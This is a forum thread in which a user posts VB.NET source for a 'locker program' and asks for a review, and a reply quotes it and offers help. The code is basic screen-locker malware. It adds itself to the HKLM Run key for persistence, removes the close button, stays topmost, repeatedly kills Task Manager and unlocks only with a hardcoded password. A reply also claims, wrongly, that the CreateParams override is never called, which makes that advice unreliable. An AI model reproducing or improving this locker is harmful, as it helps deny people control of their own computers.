Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
[VB, .NET, C#] Some one review this code?
#1
It's a locker program a basic one can you guys see any issues?
Code:
Public Class Form1

    Protected Overrides ReadOnly Property CreateParams() As CreateParams
        Get
            Dim cp As CreateParams = MyBase.CreateParams
            Const CS_NOCLOSE As Integer = &H200
            cp.ClassStyle = cp.ClassStyle Or CS_NOCLOSE
            Return cp
        End Get
    End Property
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue(Application.ProductName, Application.ExecutablePath)
        Timer1.Start()
    End Sub
    Private Sub Button1_Click(sender As Object, e As EventArgs)
        If TextBox1.Text = "LostInText" Then
            My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).DeleteValue(Application.ProductName)
            Me.Close()
        Else
            MsgBox("Password Incorrect")
            TextBox1.Clear()
        End If
    End Sub
    Private Sub Timer1_Tick_1(sender As Object, e As EventArgs) Handles Timer1.Tick
        Me.TopMost = True
        Me.BringToFront()
        Me.Focus()

        For Each selProcess As Process In Process.GetProcesses
            If selProcess.ProcessName = "taskmgr" Then
                selProcess.Kill()
                Exit For
            End If
        Next
        Me.Enabled = True
    End Sub
End Class
[Image: Untitled_1.jpg]
Reply
#2
(04-10-2014, 11:54 PM)Death Wrote: It's a locker program a basic one can you guys see any issues?
Code:
Public Class Form1

    Protected Overrides ReadOnly Property CreateParams() As CreateParams
        Get
            Dim cp As CreateParams = MyBase.CreateParams
            Const CS_NOCLOSE As Integer = &H200
            cp.ClassStyle = cp.ClassStyle Or CS_NOCLOSE
            Return cp
        End Get
    End Property
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue(Application.ProductName, Application.ExecutablePath)
        Timer1.Start()
    End Sub
    Private Sub Button1_Click(sender As Object, e As EventArgs)
        If TextBox1.Text = "LostInText" Then
            My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).DeleteValue(Application.ProductName)
            Me.Close()
        Else
            MsgBox("Password Incorrect")
            TextBox1.Clear()
        End If
    End Sub
    Private Sub Timer1_Tick_1(sender As Object, e As EventArgs) Handles Timer1.Tick
        Me.TopMost = True
        Me.BringToFront()
        Me.Focus()

        For Each selProcess As Process In Process.GetProcesses
            If selProcess.ProcessName = "taskmgr" Then
                selProcess.Kill()
                Exit For
            End If
        Next
        Me.Enabled = True
    End Sub
End Class



I'm not sure that this will work as intended. Have you actually tried compiling and running this code?

For example... Your CreateParams() method. I don't see anything calling that method in code below, and it's not executing that function from form1_load, so I'm not sure how it would be executed. Then again, I don't pretend to know VB :3

Give it a run, post results. From there, I can help bugfix and troubleshoot.
Reply
#3
I forgot alot of things im pretty noob..o .I'm going to just start from scratch and review the code from there
[Image: Untitled_1.jpg]
Reply
#4
(04-11-2014, 01:05 PM)Death Wrote: I forgot alot of things im pretty noob..o .I'm going to just start from scratch and review the code from there

Never review your own code :embarrased:

Stay frosty!
PacketPunks
Knowledge talks, wisdom listens.
PM me with any questions or comments
Reply


Forum Jump:


Users browsing this thread: 1 Guest(s)